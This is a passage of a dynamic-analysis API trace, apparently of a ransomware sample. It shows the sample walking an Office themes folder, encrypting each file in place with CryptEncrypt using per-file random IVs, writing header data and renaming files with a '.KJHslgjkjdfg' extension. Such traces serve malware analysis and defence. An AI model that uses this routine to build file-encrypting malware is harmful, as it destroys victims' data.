nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.648] GetProcessHeap () returned 0x2ef0000 [0172.648] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.648] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.648] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0172.648] GetProcessHeap () returned 0x2ef0000 [0172.648] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f3e278 [0172.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.649] GetProcessHeap () returned 0x2ef0000 [0172.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.649] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.650] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0172.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.652] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.652] GetProcessHeap () returned 0x2ef0000 [0172.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.652] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.652] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.652] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.652] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.653] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.653] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.653] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.653] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.653] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb0ce, lpOverlapped=0x0) returned 1 [0172.655] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb0d0, dwBufLen=0xb0d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb0d0) returned 1 [0172.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.655] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb0d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb0d0, lpOverlapped=0x0) returned 1 [0172.655] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.656] SetEndOfFile (hFile=0x114) returned 1 [0172.658] GetProcessHeap () returned 0x2ef0000 [0172.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.659] GetProcessHeap () returned 0x2ef0000 [0172.659] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.kjhslgjkjdfg")) returned 1 [0172.660] CloseHandle (hObject=0x114) returned 1 [0172.660] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0172.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.660] GetProcessHeap () returned 0x2ef0000 [0172.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.660] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.660] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0172.662] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.662] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.662] GetProcessHeap () returned 0x2ef0000 [0172.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.662] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.662] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.662] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.663] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.663] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.663] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.663] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.663] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.663] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1f7, lpOverlapped=0x0) returned 1 [0172.663] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200) returned 1 [0172.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.663] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x200, lpOverlapped=0x0) returned 1 [0172.664] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.664] SetEndOfFile (hFile=0x114) returned 1 [0172.666] GetProcessHeap () returned 0x2ef0000 [0172.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.666] GetProcessHeap () returned 0x2ef0000 [0172.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.kjhslgjkjdfg")) returned 1 [0172.674] CloseHandle (hObject=0x114) returned 1 [0172.675] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.675] GetProcessHeap () returned 0x2ef0000 [0172.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.675] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.675] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0172.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.678] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.678] GetProcessHeap () returned 0x2ef0000 [0172.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.678] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.678] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.678] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.678] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.678] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.679] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.679] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.679] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.679] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x5ad, lpOverlapped=0x0) returned 1 [0172.679] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5b0) returned 1 [0172.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.679] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x5b0, lpOverlapped=0x0) returned 1 [0172.679] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.680] SetEndOfFile (hFile=0x114) returned 1 [0172.682] GetProcessHeap () returned 0x2ef0000 [0172.682] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.682] GetProcessHeap () returned 0x2ef0000 [0172.682] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.691] CloseHandle (hObject=0x114) returned 1 [0172.691] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.692] GetProcessHeap () returned 0x2ef0000 [0172.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.692] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.692] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0172.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.694] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.694] GetProcessHeap () returned 0x2ef0000 [0172.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.694] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.694] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.694] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.695] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.695] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.695] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.695] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.695] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.695] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.695] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6212, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6212, lpOverlapped=0x0) returned 1 [0172.696] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6220, dwBufLen=0x6220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6220) returned 1 [0172.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.697] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6220, lpOverlapped=0x0) returned 1 [0172.697] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x62f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.697] SetEndOfFile (hFile=0x114) returned 1 [0172.700] GetProcessHeap () returned 0x2ef0000 [0172.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.700] GetProcessHeap () returned 0x2ef0000 [0172.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common 